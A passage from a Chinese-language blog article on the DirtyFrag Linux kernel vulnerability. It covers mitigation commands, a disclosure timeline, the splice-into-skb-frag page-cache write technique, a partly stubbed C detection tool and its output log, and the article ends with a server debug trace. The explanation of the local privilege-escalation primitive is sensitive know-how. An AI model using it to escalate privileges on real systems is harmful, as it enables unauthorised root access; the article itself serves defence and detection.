skb->data_len > 0 意味着 skb 有非线性部分(frag),必须先 skb_unshare/skb_copy 创建私有副本,才能执行原地解密。

4.3 临时缓解(无内核补丁时)

# 阻止三个相关模块被加载(即使以 root 也不能手动 modprobe 它们)sudo sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' \    > /etc/modprobe.d/dirtyfrag.conf"# 卸载已加载的模块sudo rmmod esp4 esp6 rxrpc 2>/dev/null

副作用

  • 禁用 esp4/esp6:影响基于 ESP 的 IPsec VPN(IKEv1/IKEv2)
  • 禁用 rxrpc:影响 OpenAFS 客户端(大多数桌面用户无感知)

4.4 时间线

日期
事件
2017-01-17
cac2661c53f3
 引入 ESP 漏洞分支
2023-06
2dc334f1a63a
 引入 RxRPC 漏洞代码
2026-04-29
向 security@kernel.org 提交 RxRPC 漏洞报告与 weaponized exploit;RxRPC 补丁发布至 netdev 邮件列表(漏洞信息公开)
2026-04-30
向 security@kernel.org 提交 ESP 漏洞报告与 weaponized exploit;ESP 补丁发布至 netdev 邮件列表
2026-04-30 +9h
Kuan-Ting Chen 独立向 security@kernel.org 提交 ESP 漏洞报告
2026-05-04
Kuan-Ting Chen 提交 shared-frag 方案补丁
2026-05-07
ESP 补丁合并进 netdev 树;向 linux-distros 提交,设定 5 天 embargo
2026-05-07不相关第三方公开发布 exploit,破坏 embargo
2026-05-07
经发行版维护者同意,DirtyFrag 完整文档公开
2026-05-08(今)
各发行版内核补丁尚未推送;RxRPC 变体上游补丁待合并

五、题外话

5.1 "中间人"模型:内核作为页面的写入代理

这个漏洞类可以用一个统一模型描述:攻击者无法直接写只读文件的页缓存,但内核在执行加密/解密操作时可以。攻击者的工作是把页缓存页面伪装成内核自己的工作缓冲区,让内核"代劳"写入。

正常状态:  用户 ──write()──▶ EPERM(没有写权限)  内核代码 ──直接写──▶ 页缓存(ring 0,无限制)攻击者的做法:  用户 ──splice()──▶ 把页缓存页面塞进 skb frag  伪造网络包 ──触发内核加密/解密──▶ 内核以为在写自己的缓冲区             实际上写入的是页缓存页面  ← "中间人代写"

这种模式之所以难以防御,是因为"内核是否在操作自己的私有内存"这个问题,在 C 语言层面没有内建的静态保证。struct page * 既可以指向内核分配的页,也可以指向来自 splice() 的文件页,两者在类型系统上完全无法区分。

5.2 为什么 KASAN、KCSAN 等工具无法检测这类漏洞

  • KASAN(Kernel Address Sanitizer) 检测越界访问和 use-after-free,但这里的写操作完全在合法的内存范围内(页缓存页的 [0, PAGE_SIZE) 区间)。
  • KCSAN(Kernel Concurrency Sanitizer) 检测数据竞争,但这里没有竞争——单线程顺序写入。
  • KASLR、SMEP、SMAP 是针对传统内存破坏漏洞的防御,与逻辑漏洞无关。

传统的内核安全缓解措施对 DirtyFrag 完全无效,这也是它威胁性强的原因之一。

5.3 补丁演进:从"堵漏洞"到"打标签"

漏洞
修复策略
局限性
DirtyPipe
在 pipe_write() 路径检查 PIPE_BUF_FLAG_CAN_MERGE
只堵了 pipe 路径
Copy Fail
将 algif_aead 加入黑名单(许多发行版的做法)
只堵了 AF_ALG 路径,DirtyFrag 绕过
DirtyFrag
在 splice 路径打 SKBFL_SHARED_FRAG 标记 + 在 esp_input 检查
从来源处标记,覆盖所有使用点

SKBFL_SHARED_FRAG 标记方案的优势在于它是系统性的:一旦页面被标记为"来自外部共享",未来任何新增的原地操作路径只需检查这个标记,不需要重新审计 splice 路径。这是从"逐漏洞打补丁"向"建立内核不变式"的进化。

5.4 Authenticate-then-Decrypt 原则与副作用窗口

ESP 变体的利用依赖一个微妙的时序:AEAD 认证在写操作之后才执行。标准的安全原则是 Authenticate-then-Decrypt(先认证后解密),这样即使认证失败也不会产生任何副作用。但 authencesn 的 ESN 预处理步骤(移动高位序列号)必须在 AEAD 操作之前完成,导致产生了一个"写已发生但认证失败"的时间窗口,在正常路径下(写入的是内核私有缓冲区)这无关紧要,在攻击路径下(写入的是页缓存)则成为利用条件。

受影响版本

变体
漏洞引入
上游修复
发行版补丁
ESP
Linux 4.9(2017-01-17)
已合并(2026-05-07)
尚未推送
RxRPC
Linux 6.4(2023-06)
待合并
尚未推送

已确认受影响:Ubuntu 24.04.4(6.17.0-23)、RHEL 10.1(6.12.0-124.49.1)、openSUSE Tumbleweed(7.0.2-1)、CentOS Stream 10(6.12.0-224)、AlmaLinux 10(6.12.0-124.52.3)、Fedora 44(6.19.14-300)。

六、漏洞检测

6.1 检测思路

检测脚本依次执行六项检查:

检查项
方法
意义
内核版本范围
解析 uname -r
ESP ≥ 4.9,RxRPC ≥ 6.4 为漏洞窗口
esp4 模块可用性
access("/sys/module/esp4")
ESP 变体暴露面
CLONE_NEWUSER 可用
fork()+unshare(CLONE_NEWUSER)
ESP 变体提权路径是否畅通
rxrpc 模块自动加载
socket(AF_RXRPC,...)
触发内核模块自动加载,返回成功即表示模块存在
add_key("rxrpc",...) 密钥注入
调用 add_key 系统调用
确认 RxRPC 攻击面完整可达
页缓存写原语验证
(安全)
在 /tmp 探针文件上执行一次完整 RxRPC frag 写,验证页缓存是否被修改
最终裁定
:成功 → 漏洞确认;不变 → 内核已修补

第 6 项是关键:在 /tmp/.dirtyfrag_probe 探针文件(工具自建、用后即删)上完整走一遍 RxRPC frag 注入路径——暴力搜索满足 2 字节约束的会话密钥 K,触发内核解密写入,比较触发前后页缓存内容。若内核已打补丁(skb->data_len 检查触发 skb_unshare),写操作命中私有副本,探针文件不变;若未修补,页缓存被修改,bytes[0..1] 变为预期值 "OK"

6.2 检测脚本代码

/* * DirtyFrag 漏洞检测工具 * * 检测项: *   [1] 内核版本是否在漏洞窗口内 *   [2] esp4 模块可用性(ESP 变体暴露面) *   [3] CLONE_NEWUSER 命名空间是否可创建(ESP 变体可用性) *   [4] rxrpc 模块是否可自动加载 *   [5] add_key("rxrpc",...) 密钥注入是否可用 *   [6] RxRPC 页缓存写原语安全验证(在 /tmp 探针文件上执行,不碰系统文件) * * 编译:gcc -O2 -Wall -o detect detect.c * 运行:./detect */#define _GNU_SOURCE#include<stdio.h>#include<stdlib.h>#include<string.h>#include<unistd.h>#include<fcntl.h>#include<errno.h>#include<time.h>#include<poll.h>#include<sched.h>#include<endian.h>#include<sys/types.h>#include<sys/stat.h>#include<sys/socket.h>#include<sys/utsname.h>#include<sys/mman.h>#include<sys/wait.h>#include<sys/uio.h>#include<sys/syscall.h>#include<netinet/in.h>#include<arpa/inet.h>#include<linux/rxrpc.h>#include<linux/keyctl.h>#include<linux/if_alg.h>/* AF_RXRPC / SOL_RXRPC 兼容定义 */#ifndef AF_RXRPC#define AF_RXRPC  33#define PF_RXRPC  33#define SOL_RXRPC 272#endif#ifndef SOL_ALG#define SOL_ALG   279#define AF_ALG    38#endif#define RXRPC_PACKET_TYPE_DATA      1#define RXRPC_PACKET_TYPE_CHALLENGE 6#define RXRPC_LAST_PACKET           0x04#define RXRPC_CHANNELMASK           3#define RXRPC_CIDSHIFT              2#define LOG(fmt, ...)  fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__)#define INFO(fmt, ...) fprintf(stderr, "[*] " fmt "\n", ##__VA_ARGS__)#define ERR(fmt, ...)  fprintf(stderr, "[-] " fmt "\n", ##__VA_ARGS__)#define BANNER(s)      fprintf(stderr, "\n--- %s ---\n", s)#define PROBE_PATH "/tmp/.dirtyfrag_probe"/* ---- RxRPC wire 结构体 ---- */structrxrpc_wire_header {uint32_t epoch, cid, callNumber, seq, serial;uint8_t  type, flags, userStatus, securityIndex;uint16_t cksum, serviceId;} __attribute__((packed));structrxkad_challenge {uint32_t version, nonce, min_level, __pad;} __attribute__((packed));staticuint8_t SESSION_KEY[8] = {0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08};/* ============================================================ * fcrypt 用户空间移植(来自内核 crypto/fcrypt.c) * ============================================================ */staticconstuint8_t fc_sbox0_raw[256] = {/* ... 256 字节 S-box 0(同 exp.c)... */0xea,0x7f,0xb2,0x64,0x9d,0xb0,0xd9,0x11,0xcd,0x86,0x86,0x91,0x0a,0xb2,0x93,0x06,0x0e,0x06,0xd2,0x65,0x73,0xc5,0x28,0x60,0xf2,0x20,0xb5,0x38,0x7e,0xda,0x9f,0xe3,0xd2,0xcf,0xc4,0x3c,0x61,0xff,0x4a,0x4a,0x35,0xac,0xaa,0x5f,0x2b,0xbb,0xbc,0x53,0x4e,0x9d,0x78,0xa3,0xdc,0x09,0x32,0x10,0xc6,0x6f,0x66,0xd6,0xab,0xa9,0xaf,0xfd,0x3b,0x95,0xe8,0x34,0x9a,0x81,0x72,0x80,0x9c,0xf3,0xec,0xda,0x9f,0x26,0x76,0x15,0x3e,0x55,0x4d,0xde,0x84,0xee,0xad,0xc7,0xf1,0x6b,0x3d,0xd3,0x04,0x49,0xaa,0x24,0x0b,0x8a,0x83,0xba,0xfa,0x85,0xa0,0xa8,0xb1,0xd4,0x01,0xd8,0x70,0x64,0xf0,0x51,0xd2,0xc3,0xa7,0x75,0x8c,0xa5,0x64,0xef,0x10,0x4e,0xb7,0xc6,0x61,0x03,0xeb,0x44,0x3d,0xe5,0xb3,0x5b,0xae,0xd5,0xad,0x1d,0xfa,0x5a,0x1e,0x33,0xab,0x93,0xa2,0xb7,0xe7,0xa8,0x45,0xa4,0xcd,0x29,0x63,0x44,0xb6,0x69,0x7e,0x2e,0x62,0x03,0xc8,0xe0,0x17,0xbb,0xc7,0xf3,0x3f,0x36,0xba,0x71,0x8e,0x97,0x65,0x60,0x69,0xb6,0xf6,0xe6,0x6e,0xe0,0x81,0x59,0xe8,0xaf,0xdd,0x95,0x22,0x99,0xfd,0x63,0x19,0x74,0x61,0xb1,0xb6,0x5b,0xae,0x54,0xb3,0x70,0xff,0xc6,0x3b,0x3e,0xc1,0xd7,0xe1,0x0e,0x76,0xe5,0x36,0x4f,0x59,0xc7,0x08,0x6e,0x82,0xa6,0x93,0xc4,0xaa,0x26,0x49,0xe0,0x21,0x64,0x07,0x9f,0x64,0x81,0x9c,0xbf,0xf9,0xd1,0x43,0xf8,0xb6,0xb9,0xf1,0x24,0x75,0x03,0xe4,0xb0,0x99,0x46,0x3d,0xf5,0xd1,0x39,0x72,0x12,0xf6,0xba,0x0c,0x0d,0x42,0x2e,};/* sbox1/2/3 及完整实现详见 detect.c 源码(随本文提供) *//* find_K_2byte(): 枚举随机 K,直到 fcrypt_decrypt(C,K)[0..1]==want0,want1 *//* do_probe_trigger(): 建立 AF_RXRPC + 伪 UDP 服务端,vmsplice+splice 注入 frag,                       recvmsg 触发 rxkad_verify_packet_1() 原地解密写入页缓存 */intmain(void){/* 六项检查 + 综合评估,详见完整源码 */}

6.3 检测日志(Ubuntu 24.04.4 · kernel 6.8.0-110-generic · uid=1000)

以下为在本文复现环境(宿主机,普通用户 hx)上运行输出:

╔══════════════════════════════════════════════════════════╗║          DirtyFrag 漏洞检测工具  (2026-05)               ║║  检测 CVE: esp4 skip_cow + rxrpc/rxkad 页缓存写原语      ║╚══════════════════════════════════════════════════════════╝--- 系统信息 ---[*] 内核版本  : Linux 6.8.0-110-generic[*] 机器架构  : x86_64[*] 当前用户  : uid=1000 euid=1000--- Check 1: 内核版本漏洞窗口 ---[*] ESP 变体范围  : Linux 6.8 >= 4.9  → [VULNERABLE][*] RxRPC 变体范围: Linux 6.8 >= 6.4  → [VULNERABLE]--- Check 2: esp4 模块可用性(ESP 变体暴露面) ---[*] esp4 模块     : 已加载 → [VULNERABLE]--- Check 3: CLONE_NEWUSER 用户命名空间(ESP 变体) ---[*] CLONE_NEWUSER : 允许 → ESP 变体条件 [VULNERABLE]--- Check 4: rxrpc 模块自动加载 ---[*] AF_RXRPC socket: 创建成功 → rxrpc.ko 已自动加载 → [WARN]--- Check 5: rxrpc 密钥注入能力 ---[*] add_key(rxrpc)  : 成功(key_serial=954420009)→ [VULNERABLE]--- Check 6: RxRPC 页缓存写原语验证(探针文件,安全) ---[*] 探针文件      : /tmp/.dirtyfrag_probe[*] 偏移 0 处内容 : 44 69 72 74 79 46 72 61  "DirtyFra"[*] 搜索 K: fcrypt_decrypt(C, K)[0..1] = "OK" (0x4f 0x4b)[*] K found after 137552 iters in 0.010s  K=dbc468b8d2c6a7ec  P=4f4b23468d65c124[*] 触发 RxRPC 写: 将 fcrypt_decrypt(C, K) 写入探针文件偏移 0[*] 触发后页缓存  : 4f 4b 23 46 8d 65 c1 24  "OK#F.e.$"[!!!] 页缓存内容已被修改(bytes[0..1] = "OK"[!!!] 页缓存写原语确认有效 → 主机存在 DirtyFrag (RxRPC 变体)[*] 探针文件已删除,页缓存已清理--- 综合评估 ---  [VULNERABLE] ESP 变体:内核版本在范围内,esp4 已加载,用户命名空间可用  [VULNERABLE] RxRPC 变体:页缓存写原语已确认有效  建议:立即应用发行版内核更新,或运行以下命令临时缓解:  sudo sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf"

日志解读

  • Check 1:内核 6.8 同时满足 ESP(≥4.9)和 RxRPC(≥6.4)的漏洞引入范围,无需进一步确认版本已修补。
  • Check 2/sys/module/esp4 存在,ESP 变体攻击面完整暴露。
  • Check 3unshare(CLONE_NEWUSER) 成功,ESP 变体所需的权限提升路径可用。
  • Check 4socket(AF_RXRPC) 成功触发 rxrpc.ko 自动加载,无需 root。
  • Check 5add_key("rxrpc",...) 返回正值 key_serial=954420009,会话密钥注入完全可用。
  • Check 6(决定性):探针文件初始内容为 "DirtyFra"(十六进制 44 69 72 74...)。工具暴力搜索 K(137552 次,0.010 秒)后,以该 K 作为 RxRPC 会话密钥执行一次完整的 frag 写触发。触发后通过 open()/read() 读回页缓存,bytes[0..1] 已从 44 69"Di")变为 4f 4b"OK"),完整写入结果为 4f 4b 23 46 8d 65 c1 24(即 fcrypt_decrypt("DirtyFra", K)),证明页缓存写原语确实有效,漏洞未被修补。探针文件在验证后立即删除,drop_caches 清理页缓存,不影响系统状态。

退出码 1(检测到漏洞),可集成至 CI/运维脚本中:./detect && echo SAFE || echo VULNERABLE

参考资料

  • 官方 PoC 与 Write-up:https://github.com/V4bel/dirtyfrag
  • ESP 修复补丁:https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4
  • RxRPC 补丁提案:https://lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/
  • Dirty Pipe(同类,2022):https://dirtypipe.cm4all.com/
  • Copy Fail(同类,2023):https://copy.fail/

免责声明:本文仅供安全学习与研究目的,复现在授权的自有环境中进行,结果已恢复。请勿在未经授权的系统上使用本文描述的技术。

最新文章

随机文章

基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-07-03 21:44:20 HTTP/2.0 GET : https://f.mffb.com.cn/a/492139.html
  2. 运行时间 : 0.140452s [ 吞吐率:7.12req/s ] 内存消耗:4,697.32kb 文件加载:140
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=1c0476b15ca5e54deb745bc515b753fa
  1. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_static.php ( 4.90 KB )
  7. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  10. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  11. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  12. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  13. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  14. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  15. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  16. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  17. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  18. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
  19. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  21. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  22. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/provider.php ( 0.19 KB )
  23. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  24. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  25. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  26. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/common.php ( 0.03 KB )
  27. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  28. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  29. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/app.php ( 0.95 KB )
  30. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cache.php ( 0.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/console.php ( 0.23 KB )
  32. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cookie.php ( 0.56 KB )
  33. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/database.php ( 2.48 KB )
  34. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  35. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/filesystem.php ( 0.61 KB )
  36. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/lang.php ( 0.91 KB )
  37. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/log.php ( 1.35 KB )
  38. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/middleware.php ( 0.19 KB )
  39. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/route.php ( 1.89 KB )
  40. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/session.php ( 0.57 KB )
  41. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/trace.php ( 0.34 KB )
  42. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/view.php ( 0.82 KB )
  43. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/event.php ( 0.25 KB )
  44. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  45. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/service.php ( 0.13 KB )
  46. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/AppService.php ( 0.26 KB )
  47. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  48. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  49. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
  50. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  51. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  52. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/services.php ( 0.14 KB )
  53. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  54. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  55. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  56. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  57. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  58. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  59. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  60. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
  61. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  62. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  63. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  64. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  65. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  66. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  67. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  68. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
  69. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  70. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  71. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
  72. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  73. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  74. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  75. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  76. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
  77. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  78. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
  79. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  80. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  81. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  82. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  83. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/Request.php ( 0.09 KB )
  84. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  85. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/middleware.php ( 0.25 KB )
  86. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  87. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
  88. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  89. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  90. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  91. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  92. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  93. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  94. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  95. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  96. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  97. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  98. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
  99. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/route/app.php ( 1.72 KB )
  100. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  101. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  102. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  103. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/controller/Index.php ( 4.81 KB )
  104. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/BaseController.php ( 2.05 KB )
  105. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
  106. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  108. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  109. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  110. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  111. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  112. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  113. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  114. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  115. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  116. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
